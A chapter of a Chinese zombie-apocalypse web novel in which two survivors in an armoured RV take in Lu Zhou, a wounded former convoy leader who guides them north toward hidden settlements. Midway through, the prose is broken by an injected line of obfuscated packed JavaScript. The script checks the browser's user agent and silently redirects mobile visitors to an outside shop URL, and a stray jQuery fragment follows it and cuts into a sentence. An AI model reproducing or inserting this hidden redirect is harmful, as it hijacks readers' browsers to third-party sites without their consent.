叶眠顺手拿起车内备用的纯净水和压缩饼干,默默递了过去,没有多余的客套,也没有刻意的热情。
末世同行,先活命,再交心。
男人低声道了一句谢谢,指尖微微发颤,显然是饿渴到了极致,但他依旧克制,没有狼吞虎咽,只是小口抿着温水,缓慢补充体力,极度懂得分寸。
苏十一重新启动房车,稳稳驶出国道边缘,继续朝着正北方向前行。
车轮滚动,前路荒芜依旧,车厢里却不再是单调的两人寂静。
她目视前方,握着方向盘的手指平稳松弛,看似专注路况,脑海里却悄然翻出了一段零碎的旧记忆。
她认出这个人了,只是很早很早的一面之缘,当时这人并没有看到自己。
末世刚爆发没多久,她还在海市一带搜集物资,曾经在港口的集装箱片区,偶遇过一支规模极大的幸存者车队。那支车队装备精良、秩序井然、人数众多,和当时四散逃窜、混乱疯魔的普通幸存者截然不同。
而眼前这个男人,就是那支车队的领头人。
那时候的他,意气风发、沉稳强势,手下人马众多,车队绵延数十米,物资充足、战力强悍,在乱象丛生的海市废墟里,是妥妥的一方势力首领,风光十足。
谁也想不到,时隔这么久,世事彻底变迁,曾经手握人马、坐拥完整车队、风光无限的一方首领,如今孤身一人、满身伤痕、断粮断水,蜷缩在废弃集装箱旁等死,落魄到极致,昔日浩浩荡荡的车队、忠心的手下、充足的物资,尽数烟消云散。
苏十一心里没有波澜,没有唏嘘,没有感慨。末世最不缺的就是大起大落,昨日称王称霸,今日沦为蝼蚁,是再正常不过的常态。
京市基地那些高高在上的高层,前日还在算计权势、拿捏他人,昨日就尽数埋入废墟,结局同理。风光也好,落魄也罢,都是自己一路走来的际遇,无需同情,无需惋惜。
她没有点破这件事,一面之缘的人,顶多算是见过一眼的陌生人,过去的风光早已作废,现在的他,只是一个需要搭车、手握北方情报的普通幸存者,仅此而已。
后排的男人缓了好一会儿,终于稍微恢复了些气色,虚弱苍白的脸颊多了一丝血色,他吃完一小块压缩饼干,没有再主动多拿物资,很自觉地守住分寸。
他抬眼看向前方两人的背影,犹豫片刻,主动开口,兑现自己的承诺,“我把我知道的北方情况,都跟你们说清楚。”
“我是从京市一路往北撤的,横穿了三个废弃城区,一路上断断续续都能找到人类活动的痕迹。越往北,痕迹越密集,绝对不是零散流民的临时落脚,是长期聚居点留下的印记。”
叶眠微微侧头,认真倾听,轻声追问:“能确定大概规模和位置吗?”
男人点头“不能精准定位,但能确定不止一处,有的应该是小型临时据点,十几二十人抱团求生;还有一两处痕迹很规整,大概率是百人以上的中型聚居地,有固定驻扎、简单防御工事,专门清理周边游荡的丧尸和变异兽,能长期稳住地盘。”
“为什么京市基地,从来没人知道北方有据点?”苏十一问出疑惑。这是最关键的一点,京市作为整片区域最大、最知名的安全区,内部信息四通八达,却从未有人提及北方有存活的幸存者势力,太过反常。
男人闻言,轻轻叹了口气,眼底带着一丝看透世事的无奈,“因为互不往来,也不敢往来。”
“京市基地太张扬,高墙壁垒、人口密集、声势浩大,早早吸引了大规模丧尸潮的注意,也成了各方流民、势力的瞩目焦点。而北方的聚居点,全部都是低调隐匿发展,不对外扩张、不接收陌生流民、不主动互通消息,只求安稳苟活。”
“而且两地相隔太远,中间整片废土无人区,遍布游荡丧尸、密集变异兽巢穴、塌陷地带、未知风险,没人愿意长途跋涉互通有无。久而久之,就彻底断了联系,各自封闭求生。”
苏十一了然点头,说白了,就是生存策略不同。京市基地高调建城、聚拢人口、争夺资源、派系内耗,看似强盛,实则树大招风,最终被地底巨兽盯上,彻底覆灭。
北方的幸存者据点,低调蛰伏、隐秘扎根、闷声求生,反而避开了绝大多数灾祸与纷争,得以留存至今。
“我之前的车队,原本打算回京市落脚。”男人继续开口,语气低沉了几分,“可惜半路撞上大规模进阶丧尸潮,车队直接被冲散,手下弟兄死伤殆尽,只剩我一个人侥幸突围,一路逃到这里。”
他没有卖惨博同情,只是平静陈述自己的遭遇,字句之间尽是末世的残酷无奈,曾经手握势力、护着一众手下求生的首领,如今一无所有,孤身苟活,“你们如果要找北方据点,我可以带路。”男人抬眼,目光真诚坦荡,“我不敢说百分百精准,但我记得所有路线标记、危险区域、安全绕行路段。我唯一的所求,就是跟着你们,安稳活下去。”
他很清楚自己现在的状态,重伤未愈、孤身一人、没有战力,在废土上根本撑不了多久,遇上苏十一和叶眠,遇上这辆顶级堡垒房车,是他绝境里唯一的生机。
他也看得出来,这两人实力极强、心性沉稳、行事果断,绝非普通幸存者,跟着他们,远比自己孤身闯荡、或者投奔陌生据点要靠谱得多。
苏十一目视前路,语气平淡敲定结果:“可以,暂时同行,我不养闲人,也不喜欢勾心斗角。你带路、提供情报、应对前路风险,我们保你一路安全、提供物资休整。互不亏欠,各取所需。”
简单几句话,定下了三人同行的规矩。
男人郑重点头:“我明白,我不会给你们添麻烦,也不会藏私。”他彻底放下了曾经首领
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745960|201940||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的身段,坦然接受现在的身份与处境。
世事变迁,莫过于此。
叶眠安静旁听,没有异议,只是默默铺开感知,持续排查前路隐患。多一个靠谱的同行者,多一份前路情报,对他们而言只有益处,没有坏处。这人带过大型车队、熬过数次丧尸潮、绝境生存经验拉满,危机意识远超普通流民,关键时刻反而能帮上大忙。
房车继续稳步北上,一路碾压过破损的国道,将身后的废墟、过往的恩怨、旧日的风光与落魄,尽数甩在身后。
北上的路途,因为没有驻地人员清理,沿途丧尸的踪迹开始变多。
不过它们数量零散,不成规模,对这辆全副武装的防弹房车来说,根本构不成威胁。
黑色房车稳稳碾压过路面碎石,厚重的车身自带绝对威慑。普通丧尸扑上来,只会被车头直接撞飞、碾过,连一丝划痕都留不下。全车密闭的防弹结构,彻底隔绝了病毒和气雾,任凭外头丧尸嘶吼游荡,车厢内依旧安稳干净。
一路平稳赶路,也算难得的休整时光。
后排的男人靠着座椅,慢慢调息养伤,他没有借着受伤的由头松懈偷懒,短暂休整恢复体力后,便主动坐直身体,透过车窗仔细辨认沿途路况,时不时开口提醒风险。
一路相处下来,苏十一和叶眠也知晓了他的名字,陆舟。此前仓促相遇,又是绝境搭车,一直没有机会互通姓名,此刻一路同行赶路,也算正式认清了这位昔日海市车队首领、如今的同行者。
“前方三百米左侧,有一处塌陷深坑,底下藏着一窝潜伏丧尸,别靠太近。”
“右边废弃服务区不要进,门口有残饵血腥味,大概率有丧尸盘踞,绕主干道最稳妥。”
“这段路地基空了,车速放慢,容易打滑翻车。”
看得出来,陆舟对北方无人区的熟悉程度,远超苏十一和叶眠的预估。
曾经执掌过大型车队、带队横穿数片废土的首领底子,在这一刻彻底显现。他不光认得路线,更懂丧尸习性、懂野外避险、懂路况判断,每一句提醒都精准踩在关键风险点上,没有一句废话。
叶眠全程开启全域感知,默默验证他的提醒。
几番核对下来,所有隐患、丧尸藏匿点,和男人说的分毫不差。
“你对这边很熟。”叶眠淡淡开口。
陆舟闻言轻轻摇头,语气坦然:“不算熟,都是用血换出来的经验。以前带队赶路,最怕的不是大规模尸潮,是这种藏在暗处的零散丧尸和地形陷阱,一不小心就是全队覆灭。”
他说着,低头看了眼自己手臂上结痂的狰狞伤口,眼底没有不甘,只剩平静的后怕,他身上这些伤,全是上次掩护车队撤退、硬抗进阶丧尸留下的代价。昔日手下几十号人,个个忠心能战,最后还是折在了无人区的突袭里,只剩他孤身逃生。